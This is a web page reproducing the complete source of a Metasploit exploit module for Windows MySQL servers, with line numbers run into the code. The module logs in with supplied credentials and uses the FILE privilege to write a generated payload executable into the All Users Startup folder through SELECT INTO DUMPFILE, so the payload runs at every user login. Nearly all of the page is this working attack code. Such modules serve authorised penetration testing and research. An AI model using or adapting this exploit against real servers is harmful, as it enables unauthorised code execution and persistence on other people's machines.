Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/mysql/mysql_start_up.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::MYSQL9include Msf::Exploit::EXE10include Msf::Exploit::FileDropper11include Msf::OptionalSession::MySQL1213def initialize(info = {})14super(update_info(info,15'Name' => 'Oracle MySQL for Microsoft Windows FILE Privilege Abuse',16'Description' => %q{17This module takes advantage of a file privilege misconfiguration problem18specifically against Windows MySQL servers. This module abuses the FILE19privilege to write a payload to Microsoft's All Users Start Up directory20which will execute every time a user logs in. The default All Users Start21Up directory used by the module is present on Windows 7.22},23'Author' =>24[25'sinn3r',26'Sean Verity <veritysr1980[at]gmail.com>'27],28'DefaultOptions' =>29{30'DisablePayloadHandler' => true31},32'License' => MSF_LICENSE,33'References' =>34[35['CVE', '2012-5613'], #DISPUTED36['OSVDB', '88118'],37['EDB', '23083'],38['URL', 'https://seclists.org/fulldisclosure/2012/Dec/13']39],40'Platform' => 'win',41'Targets' =>42[43[ 'MySQL on Windows', { } ]44],45'DefaultTarget' => 0,46'DisclosureDate' => '2012-12-01'47))4849register_options(50[51OptString.new('USERNAME', [ true, 'The username to authenticate as']),52OptString.new('PASSWORD', [ true, 'The password to authenticate with']),53OptString.new('STARTUP_FOLDER', [ true, 'The All Users Start Up folder', '/programdata/microsoft/windows/start menu/programs/startup/'])54])55end5657def check58m = mysql_login(datastore['USERNAME'], datastore['PASSWORD'])59return Exploit::CheckCode::Safe unless m6061return Exploit::CheckCode::Appears if is_windows?6263Exploit::CheckCode::Safe64end6566def query(q)67rows = []6869begin70res = mysql_query(q)71return rows unless res72res.each_hash do |row|73rows << row74end75rescue ::Rex::Proto::MySQL::Client::ParseError76return rows77end7879rows80end8182def is_windows?83r = query("SELECT @@version_compile_os;")84r[0]['@@version_compile_os'] =~ /^Win/ ? true : false85end8687def get_drive_letter88r = query("SELECT @@tmpdir;")89drive = r[0]['@@tmpdir'].scan(/^(\w):/).flatten[0] || ''9091drive92end9394def upload_file(bin, dest)95p = bin.unpack("H*")[0]96query("SELECT 0x#{p} into DUMPFILE '#{dest}'")97end9899def exploit100unless datastore['STARTUP_FOLDER'].start_with?('/') && datastore['STARTUP_FOLDER'].end_with?('/')101fail_with(Failure::BadConfig, "STARTUP_FOLDER should start and end with '/' Ex: /programdata/microsoft/windows/start menu/programs/startup/")102end103104print_status("Attempting to login as '#{datastore['USERNAME']}:#{datastore['PASSWORD']}'") unless session105begin106# If we have a session make use of it107if session108print_status("Using existing session #{session.sid}")109self.mysql_conn = session.client110else111# otherwise fallback to attempting to login112m = mysql_login(datastore['USERNAME'], datastore['PASSWORD'])113return unless m114end115rescue ::Rex::Proto::MySQL::Client::AccessDeniedError116fail_with(Failure::NoAccess, "#{peer} - Access denied")117end118119fail_with(Failure::NoAccess, "#{peer} - Unable to Login") unless m || session120121unless is_windows?122fail_with(Failure::NoTarget, "#{peer} - Remote host isn't Windows")123end124125begin126drive = get_drive_letter127rescue ::Rex::Proto::MySQL::Client::ParseError128fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine drive name")129end130131fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine drive name") unless drive132133exe_name = Rex::Text::rand_text_alpha(5) + ".exe"134dest = "#{drive}:#{datastore['STARTUP_FOLDER']}#{exe_name}"135exe = generate_payload_exe136137print_status("Uploading to '#{dest}'")138begin139upload_file(exe, dest)140rescue ::Rex::Proto::MySQL::Client::AccessDeniedError141fail_with(Failure::NotVulnerable, "#{peer} - No permission to write. I blame kc :-)")142end143register_file_for_cleanup("#{dest}")144end145end146147148